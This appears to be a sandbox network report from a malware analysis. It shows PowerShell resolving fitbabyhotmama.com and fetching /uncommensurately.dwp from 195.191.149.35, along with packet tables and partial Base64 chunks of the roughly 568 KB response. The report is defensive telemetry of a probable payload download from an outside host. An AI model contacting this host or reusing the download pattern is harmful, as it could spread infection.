Network Port Distribution

Total Packets: 90
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 7, 2025 14:15:20.478483915 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:20.478518963 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:20.478625059 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:20.525135040 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:20.525166035 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:20.962776899 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:20.962882042 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:20.969284058 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:20.969306946 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:20.969717026 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:20.999771118 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:21.044267893 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.375017881 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.375089884 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.375164032 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:21.375195026 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.375427008 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:21.584287882 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.584305048 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.584382057 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:21.584422112 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.584486008 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:21.584626913 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.584692001 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:21.628197908 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:21.628321886 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.006325960 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.006375074 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.006500006 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.006505013 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.006545067 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.006571054 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.006602049 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.006607056 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.006639957 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.006678104 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.006716967 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.006757975 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.006841898 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.006918907 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.007013083 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.007035017 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.007057905 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.007090092 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.007122993 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.007167101 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.007249117 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.007287025 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.007355928 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.007395029 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.007469893 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.007519960 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.007605076 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.046785116 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.046879053 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.215266943 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.215363026 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.215403080 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.215476036 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.215790033 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.215888977 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.216309071 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.216387033 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.264137983 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.264238119 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.425503016 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.425575018 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.425626040 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.425649881 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.425667048 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.425688028 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.425842047 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.425919056 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.426460028 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.426562071 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.426609993 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.426662922 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.473946095 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.474066973 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.634998083 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.635090113 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.635345936 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.635410070 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.845843077 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.845891953 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.845927000 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.845958948 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.845993042 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.845993996 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.846057892 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.846060038 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.846090078 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.846101046 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.846128941 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.846131086 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.846174002 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.846174955 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.846185923 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.846204042 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.846220970 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.846231937 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.846283913 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:22.893239021 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:22.893332005 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.054409027 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.054482937 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.056468964 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.056534052 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.056562901 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.056729078 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.101876974 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.101962090 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.264077902 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.264148951 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.267786026 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.267863035 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.268073082 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.268146038 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.268198967 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.268274069 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.314565897 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.314651966 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.474788904 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.474884987 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.479523897 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.479584932 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.480191946 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.480268002 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.480271101 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.480284929 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.480312109 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.480326891 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.732880116 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.732938051 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.732959032 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.732986927 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.733005047 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.733006954 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.733019114 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.733023882 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.733052969 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.733053923 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.733076096 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.733082056 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.733102083 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.733109951 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.733131886 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.733134985 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.733192921 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.733208895 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.893285036 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.893414974 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.897490978 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.897573948 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.898206949 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.898284912 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:23.942593098 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:23.942775011 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.102533102 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.102662086 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.318516970 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.318526983 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.318627119 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.318660021 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.318694115 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.318710089 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.318717957 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.318779945 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.318789005 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.361670017 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.361798048 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.361872911 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.412731886 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.525708914 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.525722027 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.525810957 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.528886080 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.528896093 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.528969049 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.571279049 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.571291924 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.571372032 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.737216949 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.737234116 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.737314939 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.780364990 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.780450106 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.780462980 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.780498981 CEST	443	49715	195.191.149.35	192.168.2.4
Apr 7, 2025 14:15:24.780546904 CEST	49715	443	192.168.2.4	195.191.149.35
Apr 7, 2025 14:15:24.806644917 CEST	49715	443	192.168.2.4	195.191.149.35

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 7, 2025 14:15:19.890881062 CEST	50428	53	192.168.2.4	1.1.1.1
Apr 7, 2025 14:15:20.472856045 CEST	53	50428	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 7, 2025 14:15:19.890881062 CEST	192.168.2.4	1.1.1.1	0x9ec6	Standard query (0)	fitbabyhotmama.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 7, 2025 14:15:13.687978029 CEST	1.1.1.1	192.168.2.4	0x9b94	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 7, 2025 14:15:13.687978029 CEST	1.1.1.1	192.168.2.4	0x9b94	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 7, 2025 14:15:20.472856045 CEST	1.1.1.1	192.168.2.4	0x9ec6	No error (0)	fitbabyhotmama.com	195.191.149.35	A (IP address)	IN (0x0001)	false
Apr 7, 2025 14:15:27.522583008 CEST	1.1.1.1	192.168.2.4	0xd243	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 7, 2025 14:15:27.522583008 CEST	1.1.1.1	192.168.2.4	0xd243	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fitbabyhotmama.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49715	195.191.149.35	443	8044	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-07 12:15:20 UTC	182	OUT	GET /uncommensurately.dwp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: fitbabyhotmama.com Connection: Keep-Alive
2025-04-07 12:15:21 UTC	1393	IN	HTTP/1.1 200 OK Date: Mon, 07 Apr 2025 12:15:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 06 Apr 2025 20:45:54 GMT ETag: "13e53825-8ab70-6322234ac1027" Accept-Ranges: bytes Content-Length: 568176 Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Headers: Content-Type, Authorization Content-Security-Policy: upgrade-insecure-requests; Cross-Origin-Embedder-Policy: unsafe-none; report-to='default' Cross-Origin-Embedder-Policy-Report-Only: unsafe-none; report-to='default' Cross-Origin-Opener-Policy: unsafe-none Cross-Origin-Opener-Policy-Report-Only: unsafe-none; report-to='default' Cross-Origin-Resource-Policy: cross-origin Permissions-Policy: accelerometer=(), autoplay=(), camera=(), cross-origin-isolated=(), display-capture=(self), encrypted-media=(), fullscreen=, geolocation=(self), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=, picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), sync-xhr=(), usb=(), xr-spatial-tracking=(), gamepad=(), serial=() Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Content-Security-Policy: default-src 'self'; img-src ; media-src data:; X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none
2025-04-07 12:15:21 UTC	6799	IN	Data Raw: 5a 67 2f 38 35 65 73 67 56 4a 33 67 76 4f 57 51 69 47 70 4a 34 77 66 68 45 44 70 71 37 43 5a 47 75 65 50 53 48 4e 30 55 57 76 67 79 4a 36 76 44 6c 31 72 42 37 77 42 6d 44 39 6a 62 36 30 48 51 46 6e 47 2f 74 33 33 72 50 79 61 71 72 55 6d 70 43 61 51 33 69 56 75 75 53 70 76 53 67 75 76 4b 31 72 61 43 68 44 39 6f 37 62 4d 4f 6a 78 48 58 38 35 4c 78 61 4f 30 34 77 63 56 4d 52 35 4d 35 54 31 6d 42 6d 75 6a 54 34 38 6d 75 31 56 4f 70 2b 6f 4d 50 34 41 2f 59 7a 2b 73 64 48 33 77 4c 39 6f 42 74 4a 55 78 67 66 77 75 68 45 7a 4e 4c 6b 43 72 6a 36 63 70 41 74 53 6b 43 49 52 41 6a 65 4e 79 37 56 6c 67 59 41 4e 6e 35 36 79 32 30 44 37 31 54 2f 58 54 6d 68 4b 55 67 7a 74 76 6c 6a 48 57 6a 4f 59 4a 66 49 36 30 4a 53 41 4a 5a 74 47 42 51 57 41 66 66 43 59 52 58 4d 32 6e Data Ascii: Zg/85esgVJ3gvOWQiGpJ4wfhEDpq7CZGuePSHN0UWvgyJ6vDl1rB7wBmD9jb60HQFnG/t33rPyaqrUmpCaQ3iVuuSpvSguvK1raChD9o7bMOjxHX85LxaO04wcVMR5M5T1mBmujT48mu1VOp+oMP4A/Yz+sdH3wL9oBtJUxgfwuhEzNLkCrj6cpAtSkCIRAjeNy7VlgYANn56y20D71T/XTmhKUgztvljHWjOYJfI60JSAJZtGBQWAffCYRXM2n
2025-04-07 12:15:21 UTC	8000	IN	Data Raw: 37 6a 71 6a 77 62 65 56 56 2b 34 2b 57 5a 57 58 6c 39 47 6f 41 4b 2f 6f 36 67 6c 36 37 41 70 53 6d 41 4a 6a 78 59 4d 7a 58 59 4d 35 6a 78 75 51 6f 44 34 58 58 2f 76 2f 2f 44 32 50 36 36 31 46 78 47 4e 71 57 4e 31 6b 76 33 52 72 57 47 6b 65 46 34 65 76 63 49 58 36 48 49 32 6b 56 52 56 68 49 37 52 76 69 76 78 30 31 4b 56 2b 47 63 34 54 49 4c 51 4c 5a 37 54 48 4f 6b 6d 51 6e 42 6f 39 6a 36 45 74 51 54 36 6a 39 67 49 6e 62 35 72 39 53 6b 5a 76 77 4f 6d 32 67 2b 47 7a 4e 45 72 67 61 4f 4e 56 52 47 63 57 77 2f 59 36 41 2b 54 51 50 59 76 44 72 51 4c 6c 69 49 47 6c 71 61 79 65 73 58 42 34 30 72 43 79 6e 74 61 4d 38 33 7a 73 32 5a 49 69 61 4c 33 51 4f 66 76 6e 54 79 4c 59 74 33 4d 4b 77 66 4e 6d 37 42 67 38 51 54 6a 31 32 62 68 47 50 6c 44 54 57 51 69 67 52 6f 45 Data Ascii: 7jqjwbeVV+4+WZWXl9GoAK/o6gl67ApSmAJjxYMzXYM5jxuQoD4XX/v//D2P661FxGNqWN1kv3RrWGkeF4evcIX6HI2kVRVhI7Rvivx01KV+Gc4TILQLZ7THOkmQnBo9j6EtQT6j9gInb5r9SkZvwOm2g+GzNErgaONVRGcWw/Y6A+TQPYvDrQLliIGlqayesXB40rCyntaM83zs2ZIiaL3QOfvnTyLYt3MKwfNm7Bg8QTj12bhGPlDTWQigRoE
2025-04-07 12:15:21 UTC	8000	IN	Data Raw: 6e 51 35 2b 4c 4d 46 35 4e 31 38 34 78 32 69 57 69 73 6d 31 37 48 61 5a 6d 62 39 6d 33 47 57 62 6e 6f 30 6e 44 2f 64 39 50 35 56 7a 6e 70 4e 4b 33 72 52 2f 30 44 75 39 66 65 30 59 4e 59 52 63 53 6b 4f 72 6c 55 76 47 30 67 66 71 45 55 49 66 70 44 4e 5a 41 30 70 36 55 6b 64 30 5a 35 63 59 33 41 70 59 33 6f 72 4a 74 35 51 78 4f 56 5a 64 38 55 4c 33 57 52 37 64 41 2f 6a 41 41 30 64 47 35 33 32 59 32 52 41 6d 6f 42 6e 6a 76 52 7a 5a 30 38 4c 48 75 4c 75 39 44 50 71 51 55 35 75 61 77 42 32 72 30 78 38 37 48 69 2f 39 62 33 56 71 63 6e 7a 74 67 51 41 41 73 37 64 41 35 77 30 63 65 5a 41 69 71 50 68 44 2b 75 47 33 61 4d 30 56 50 4f 70 4b 63 62 39 73 7a 52 56 48 37 56 6f 46 76 7a 54 4e 46 67 38 38 78 4f 47 37 46 4d 33 56 38 5a 69 79 57 62 38 37 69 4b 7a 2f 57 75 36 Data Ascii: nQ5+LMF5N184x2iWism17HaZmb9m3GWbno0nD/d9P5VznpNK3rR/0Du9fe0YNYRcSkOrlUvG0gfqEUIfpDNZA0p6Ukd0Z5cY3ApY3orJt5QxOVZd8UL3WR7dA/jAA0dG532Y2RAmoBnjvRzZ08LHuLu9DPqQU5uawB2r0x87Hi/9b3VqcnztgQAAs7dA5w0ceZAiqPhD+uG3aM0VPOpKcb9szRVH7VoFvzTNFg88xOG7FM3V8ZiyWb87iKz/Wu6
2025-04-07 12:15:21 UTC	8000	IN	Data Raw: 36 37 42 4f 42 6d 47 56 43 54 41 4f 63 44 58 33 66 64 43 69 44 7a 50 74 78 65 2b 71 64 78 45 75 47 2b 65 65 45 57 30 72 61 41 50 7a 46 70 5a 43 32 39 6b 78 6f 74 65 38 47 78 62 72 78 38 75 63 4f 2f 45 49 63 46 44 6e 58 52 4c 4d 6b 42 69 50 56 36 45 47 43 66 43 41 4f 62 6d 2f 63 6e 36 45 48 79 6d 32 34 77 2b 66 68 4b 7a 2f 56 75 37 51 72 44 33 44 4c 76 49 6c 33 78 45 43 61 30 37 6d 7a 77 6f 71 4d 2f 78 53 63 49 49 2b 38 68 6b 54 6b 7a 4b 4f 4f 66 57 30 32 53 75 35 6e 43 37 70 6f 61 42 70 75 52 62 64 44 4d 77 66 2b 52 57 35 45 74 30 50 54 4c 7a 56 72 75 4e 6e 38 4d 31 36 52 4b 6e 51 35 75 56 68 53 4e 6c 2b 56 30 48 68 42 37 6b 55 2b 68 7a 53 38 67 68 7a 62 41 59 58 38 50 37 67 4c 2f 6c 44 2f 47 31 51 64 6a 31 73 42 74 77 2b 76 37 37 65 4b 6d 54 2f 63 68 72 Data Ascii: 67BOBmGVCTAOcDX3fdCiDzPtxe+qdxEuG+eeEW0raAPzFpZC29kxote8Gxbrx8ucO/EIcFDnXRLMkBiPV6EGCfCAObm/cn6EHym24w+fhKz/Vu7QrD3DLvIl3xECa07mzwoqM/xScII+8hkTkzKOOfW02Su5nC7poaBpuRbdDMwf+RW5Et0PTLzVruNn8M16RKnQ5uVhSNl+V0HhB7kU+hzS8ghzbAYX8P7gL/lD/G1Qdj1sBtw+v77eKmT/chr
2025-04-07 12:15:21 UTC	8000	IN	Data Raw: 32 4e 72 4b 33 74 6a 61 79 74 38 57 6b 5a 69 38 5a 46 75 4e 74 77 49 33 48 38 58 77 6b 4c 62 43 58 57 37 73 73 69 72 39 71 35 7a 32 7a 2b 37 57 32 4e 74 72 51 4d 57 78 6a 65 31 6b 44 55 61 4a 6f 73 51 50 37 32 74 70 62 6d 76 79 61 33 6f 75 51 4f 64 4f 37 41 34 72 75 74 78 48 71 31 4c 6a 46 35 32 59 32 6d 68 4c 56 4d 4f 7a 6e 61 30 5a 36 58 61 61 4b 6a 6f 46 55 47 39 42 58 65 43 48 63 64 53 75 6b 2b 69 58 68 44 4c 6e 42 53 45 46 76 7a 6a 4e 45 70 63 4b 57 4b 39 41 35 54 6b 51 33 78 56 30 46 61 46 78 73 51 6a 38 31 65 4d 68 43 49 2b 4f 59 58 67 53 69 57 42 70 41 31 6b 54 47 63 31 41 48 6f 36 51 31 39 6c 6e 33 30 44 69 63 57 32 56 43 73 42 75 63 62 6b 49 2b 70 4f 78 78 63 39 72 39 30 47 72 74 75 48 45 4e 7a 4c 65 32 4e 72 4b 33 74 6a 61 79 74 2f 50 42 42 79 Data Ascii: 2NrK3tjayt8WkZi8ZFuNtwI3H8XwkLbCXW7ssir9q5z2z+7W2NtrQMWxje1kDUaJosQP72tpbmvya3ouQOdO7A4rutxHq1LjF52Y2mhLVMOzna0Z6XaaKjoFUG9BXeCHcdSuk+iXhDLnBSEFvzjNEpcKWK9A5TkQ3xV0FaFxsQj81eMhCI+OYXgSiWBpA1kTGc1AHo6Q19ln30DicW2VCsBucbkI+pOxxc9r90GrtuHENzLe2NrK3tjayt/PBBy
